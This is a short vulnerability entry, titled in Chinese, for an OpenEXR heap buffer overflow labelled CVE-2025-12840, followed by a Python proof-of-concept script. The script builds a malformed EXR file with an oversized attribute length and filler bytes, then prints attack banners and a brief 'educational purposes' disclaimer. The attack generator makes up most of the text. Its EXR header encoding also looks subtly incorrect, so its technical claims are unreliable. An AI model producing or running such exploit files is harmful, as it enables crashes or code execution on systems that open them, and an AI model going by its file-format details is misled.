CVE-2025-12840 OpenEXR EXR文件解析堆缓冲区溢出远程代码执行漏洞

# CVE-2025-12840 PoC - Malicious EXR File Generator # Target: Academy Software Foundation OpenEXR < latest version # Vulnerability: Heap-based Buffer Overflow in EXR parsing # CVSS: 7.8 (High) import struct import os def create_malicious_exr(): """ Generate a malicious EXR file that triggers heap buffer overflow during parsing due to improper length validation. """ # EXR magic number magic = b'\x76\x2f\x31\x01' # Version field - standard EXR v2 version = struct.pack('<I', 2) flags = struct.pack('<I', 0) # Craft malicious header with oversized attributes # This exploits the lack of proper length validation header = b'' # Channel list with oversized data header += b'channels\x00' header += struct.pack('<I', 0x02) # CHUNK_DATA type # Create oversized length field - triggers overflow # Adjust size based on target buffer allocation overflow_size = 0x10000 # Large overflow size header += struct.pack('<Q', overflow_size) # Oversized length header += b'A' * overflow_size # Overflow data # Compression attribute header += b'compression\x00' header += struct.pack('<I', 0) # NO_COMPRESSION header += struct.pack('<Q', 1) header += b'\x00' # Data window attribute header += b'dataWindow\x00' header += struct.pack('<I', 0x23) # BOX2I type header += struct.pack('<Q', 16) header += struct.pack('<iiii', 0, 0, 1920, 1080) # End of header marker header += b'\x00' # Construct complete EXR file malicious_exr = magic + version + flags + header return malicious_exr def main(): output_file = 'CVE-2025-12840_poc.exr' print(f'[*] Generating malicious EXR file for CVE-2025-12840') print(f'[*] Target: OpenEXR EXR File Parsing Heap Buffer Overflow') print(f'[*] CVSS: 7.8 (High)') exr_data = create_malicious_exr() with open(output_file, 'wb') as f: f.write(exr_data) print(f'[+] PoC file created: {output_file}') print(f'[+] File size: {len(exr_data)} bytes') print(f'[!] Note: This PoC is for educational/research purposes only') print(f'[!] Do not use for malicious activities') if __name__ == '__main__': main()